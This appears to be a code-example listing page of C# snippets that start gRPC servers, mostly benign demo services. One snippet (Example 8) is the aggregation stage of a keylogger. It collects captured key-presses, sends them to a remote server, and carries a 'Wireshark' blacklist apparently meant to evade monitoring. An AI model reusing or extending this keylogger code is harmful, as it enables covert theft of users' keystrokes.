Ejemplo n.º 1
0
        static void Main(string[] args)
        {
            var server = new Grpc.Core.Server()
            {
                Services =
                {
                    Chat.Grpc.AuthServer.BindService(new AuthServer("172.17.0.2"))
                },

                Ports =
                {
                    new Grpc.Core.ServerPort("0.0.0.0", 50001, Grpc.Core.ServerCredentials.Insecure)
                }
            };

            server.Start();

            //=================================

            var exitEvent = new System.Threading.ManualResetEvent(false);

            Console.CancelKeyPress += (sender, e) => exitEvent.Set();

            exitEvent.WaitOne();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 2
0
        static void Main(string[] args)
        {
            Console.WriteLine("Starting RPC Chat server...");

            Grpc.Core.Server server = new Grpc.Core.Server()
            {
                Services =
                {
                    ChatContract.BindService(new Rpc.ChatService())
                },
                Ports =
                {
                    new Grpc.Core.ServerPort("localhost", SERVER_PORT, Grpc.Core.ServerCredentials.Insecure)
                }
            };

            try {
                server.Start();
                Console.WriteLine($"Chat service listening in port {SERVER_PORT}");
            } catch (Exception) {
                Console.WriteLine("Failed to start RPC server");
            }

            Console.WriteLine("Press any key to exit the server...");
            Console.ReadKey();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 3
0
        static void Main(string[] args)
        {
            Grpc.Core.Server server = null;

            try
            {
                server = new Grpc.Core.Server()
                {
                    // bind grpc service with its implenetation that server can route the client call to that implementation.
                    Services = { Greeting.GreetingService.BindService(new GreetingServiceImp()) },
                    Ports    = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) }
                };

                server.Start();
                Console.WriteLine("Server started on port : " + port);

                Console.WriteLine("Server started on port : " + server.Ports);
                Console.ReadLine();
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                throw;
            }finally
            {
                if (server != null)
                {
                    server.ShutdownAsync().Wait();
                }
            }
        }
Ejemplo n.º 4
0
 public StartedGrpcServer([NotNull] Grpc.Core.Server server,
                          [NotNull] T serviceImplementation,
                          [CanBeNull] IServiceHealth serviceHealth)
 {
     Server = server;
     ServiceImplementation = serviceImplementation;
     ServiceHealth         = serviceHealth;
 }
Ejemplo n.º 5
0
 /// <summary>
 /// Creates a new server. Should be called in using block
 /// </summary>
 /// <param name="host">The host of the server.</param>
 /// <param name="port">The port on which server should listen.</param>
 public Server(string host, int port)
 {
     GrpcServer = new Grpc.Core.Server()
     {
         Ports = { new Grpc.Core.ServerPort(host, port, Grpc.Core.ServerCredentials.Insecure) }
     };
     LoadServices();
 }
Ejemplo n.º 6
0
        internal void Init()
        {
            // shutdown if already active
            _server?.ShutdownAsync().GetAwaiter().GetResult();

            // create server again
            _server = GrpcServerBuilder.Build(_provider, Configuration);
        }
Ejemplo n.º 7
0
        protected override void OnStart(string[] args)
        {
            Try(nameof(OnStart),
                () =>
            {
                StartedGrpcServer started = _serverStart(args);

                _server = started.Server;

                StartHealthChecking(started.ServiceHealth);
            });
        }
Ejemplo n.º 8
0
        ///<summary>
        ///Aggregates key-presses sent from the hook key logger.
        ///</summary>
        static void Main(string[] args)
        {
            // The path of the keylog file
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\keylog";
            // The new file that holds the extracted data
            string newFile = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\data";
            string addr = "localhost";
            int port = 4567;
            string serveraddr;
            int serverport = 13000;
            var blacklist = new List<string>();
            blacklist.Add("Wireshark");

            if (args.Length == 1)
            {
                serveraddr = args[0];
            }
            else
            {
                serveraddr = "server";
            }

            // Setup the shared resources
            ConcurrentQueue<KeyPress> inputbuffer = new ConcurrentQueue<KeyPress>();
            ConcurrentQueue<CI> outbuffer = new ConcurrentQueue<CI>();
            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services = { HookKeylogger.Base.KerPressAggergator.BindService(new KeyPressAggergatorImpl(inputbuffer)) },
                Ports = { new Grpc.Core.ServerPort(addr, port, Grpc.Core.ServerCredentials.Insecure) }
            };
            ServerClient client = new ServerClient(serveraddr, serverport, blacklist.ToArray());
            KeyPressAggergator ksa = new KeyPressAggergator(inputbuffer, client);
            Thread aggergationThread = new Thread(new ThreadStart(ksa.Scan));
            Thread sendThread = new Thread(new ThreadStart(client.Start));

            // Start threads and server
            aggergationThread.Start();
            sendThread.Start();
            server.Start();

            //Console.WriteLine("Key-Press Aggergation server listening on " +addr + ":" + port);
            //Console.WriteLine("Press any key to stop the aggregation server...");
            //Console.ReadKey();
            while (true) { System.Threading.Thread.Sleep(100000); }

            // Shutdown and wait for all threads to finish before exiting.
            aggergationThread.Abort();
            aggergationThread.Join();
            sendThread.Abort();
            sendThread.Join();
            server.ShutdownAsync();
        }
Ejemplo n.º 9
0
 static void Main(string[] args)
 {
     Grpc.Core.Server server = new Grpc.Core.Server
     {
         Services = { PingPongPlayer.BindService(new PingPongPlayerImpl()) },
         Ports    = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
     };
     server.Start();
     Console.WriteLine("Server listening on port " + Port);
     Console.WriteLine("Press any key to quit...");
     Console.ReadKey();
     server.ShutdownAsync().Wait();
 }
Ejemplo n.º 10
0
        public void Init()
        {
            System.Diagnostics.Debug.WriteLine($"Starting the PingMock service at Port {Port}");
            PingServiceMock = new Mocking.PingMock();

            Server = new Grpc.Core.Server
            {
                Services = { ClassLibrary1.Protos.Ping.BindService(PingServiceMock) },
                Ports    = { new Grpc.Core.ServerPort("localhost", port: Port, Grpc.Core.ServerCredentials.Insecure) }
            };

            Server.Start();
            System.Diagnostics.Debug.WriteLine($"Server Started.");
        }
Ejemplo n.º 11
0
        static async Task Main(string[] args)
        {
            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services = { Calculator.BindService(new CalculatorImpl()) },
                Ports    = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
            };
            server.Start();

            Console.WriteLine("Calculator server listening on port " + Port);
            Console.WriteLine("Press any key to stop the server...");
            Console.ReadKey();

            await server.ShutdownAsync();
        }
Ejemplo n.º 12
0
        private static void StartServer()
        {
            var server = new Grpc.Core.Server
            {
                Services = { ParticipanteService.BindService(services.GetService <Services.ParticipanteService>()) },
                Ports    = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
            };

            server.Start();

            Console.WriteLine($"Server listening on port {Port}");
            Console.WriteLine("Press any key to stop the server...");
            Console.ReadKey();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 13
0
        public static void Initialize(string host, int port, IServiceProvider serviceProvider, IMapper mapper)
        {
            var server = new Grpc.Core.Server
            {
                Services =
                {
                    RemoteServices.Identity.Service.BindService(new RemoteIdentityServices(serviceProvider, mapper))
                },
                Ports = { new Grpc.Core.ServerPort(host, port, Grpc.Core.ServerCredentials.Insecure) }
            };

            server.Start();

            Log.Information($"gRPC services listening on port { port }");

            //server.ShutdownAsync().Wait();
        }
Ejemplo n.º 14
0
        static void Main(string[] args)
        {
            Console.WriteLine("Starting the service...");

            var server = new Grpc.Core.Server
            {
                Services = { ClassLibrary1.Protos.Ping.BindService(new PingImplementation()) },
                Ports    = { new Grpc.Core.ServerPort("localhost", 50051, Grpc.Core.ServerCredentials.Insecure) }
            };

            server.Start();

            Console.WriteLine("Ping server listening on port 50051");
            Console.WriteLine("Press any key to stop the server...");
            Console.ReadKey();

            server.ShutdownAsync().Wait();
        }
        public static void Initialize(int port, IServiceProvider serviceProvider, IMapper mapper)
        {
            var server = new Grpc.Core.Server
            {
                Services =
                {
                    AccountServices.BindService(new AccountServicesImplementation(serviceProvider, mapper)),
                    BackgroundServices.BindService(new BackgroundServicesImplementation())
                },
                Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) }
            };

            server.Start();

            Log.Information($"Account gRPC service listening on port { port }");

            //server.ShutdownAsync().Wait();
        }
Ejemplo n.º 16
0
        static void Main(string[] args)
        {
            var server = new Grpc.Core.Server
            {
                Services =
                {
                    ServiceDefinition.AccountServices.Account.BindService(new ServiceDefinitionImplementation())
                },
                Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
            };

            server.Start();

            Console.WriteLine($"Account service listening on port { Port }");
            Console.WriteLine("Press any key to stop the server...");
            Console.ReadKey();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 17
0
        static void Main(string[] args)
        {
            var grpcServer = new Grpc.Core.Server()
            {
                Services = { SOULS.Server.Server.BindService(new FormatsServer()) },
                Ports    = { new Grpc.Core.ServerPort("localhost", 50001, Grpc.Core.ServerCredentials.Insecure) }
            };

            grpcServer.Start();

            Console.WriteLine("Server is working");
            Console.WriteLine("Press any key to stop");

            Console.ReadKey();
            Console.WriteLine("Stopping...");

            grpcServer.ShutdownAsync().Wait();
            Console.WriteLine("Stopped.");
        }
Ejemplo n.º 18
0
        public static void Main(string[] args)
        {
            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services =
                {
                    Greeter.BindService(new GreeterService())
                },
                Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
            };
            server.Start();

            Console.WriteLine("gRPC服务开启的端口 " + Port);
            Console.WriteLine("任意键退出");

            RegisterConsul();

            Console.ReadKey();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 19
0
        public static void Main(string[] args)
        {
            var host = CreateWebHostBuilder(args).Build();

            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services =
                {
                    Greeter.BindService(new GreeterService())
                },
                Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) }
            };
            server.Start();

            Console.WriteLine("gRPC服务开启的端口 " + Port);
            //Console.WriteLine("任意键退出");
            //Console.ReadKey();

            host.Run();

            server.ShutdownAsync().Wait();
        }
Ejemplo n.º 20
0
        public async static Task StartService(string[] args)
        {
            await Task.Yield();

            var provider = lib.Provider.serviceProvider;
            var port     = 3000;

            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services =
                {
                    TreeDiagram.GridLogService.BindService(provider.GetRequiredService <lib.gRPCBridge.Server>())
                },
                Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) }
            };
            server.Start();
            Console.WriteLine("gRPC server listening on port " + port);
            while (true)
            {
                await Task.Delay(1000);
            }
            // await server.ShutdownAsync();
        }
Ejemplo n.º 21
0
 public ServerService(Grpc.Core.Server server)
 {
     _server = server;
 }
Ejemplo n.º 22
0
 public StartedGrpcServer([NotNull] Grpc.Core.Server server,
                          [CanBeNull] IServiceHealth serviceHealth)
 {
     Server        = server;
     ServiceHealth = serviceHealth;
 }
Ejemplo n.º 23
0
        static void Main(string[] args)
        {
            const int serverPort = 50001;

            var server = new Grpc.Core.Server()
            {
                Services =
                {
                    Chat.Grpc.Auth.BindService(new AuthServer("mongo"))
                },

                Ports =
                {
                    new Grpc.Core.ServerPort("0.0.0.0", serverPort, Grpc.Core.ServerCredentials.Insecure)
                }
            };

            server.Start();

            //=================================

            var naming = new Chat.Grpc.Naming.NamingClient(new Grpc.Core.Channel("naming:7777", Grpc.Core.ChannelCredentials.Insecure));

            if (naming.RegisterService(new Chat.Grpc.RegistrationRequest()
            {
                Health = 100,
                Name = Chat.Grpc.ServiceType.Auth,
                Port = serverPort
            }).Success)
            {
                var exitEvent = new System.Threading.ManualResetEvent(false);
                var pingTimer = new System.Threading.Timer((state) => {
                    try {
                        if (naming.Ping(new Chat.Grpc.PingRequest()
                        {
                            Health = 100,
                            Name = Chat.Grpc.ServiceType.Auth,
                            Port = serverPort
                        }).Success)
                        {
                            return;
                        }
                    }catch (Grpc.Core.RpcException) {
                    }

                    exitEvent.Set();
                }, null, 3000, 3000);

                //========================================

                Console.CancelKeyPress += (sender, e) => exitEvent.Set();

                Console.WriteLine("Serviço de autenticação em execução...");

                exitEvent.WaitOne();
            }
            else
            {
                Console.WriteLine("O registro no servidor de nomes falhou.");
            }

            server.ShutdownAsync().Wait();
        }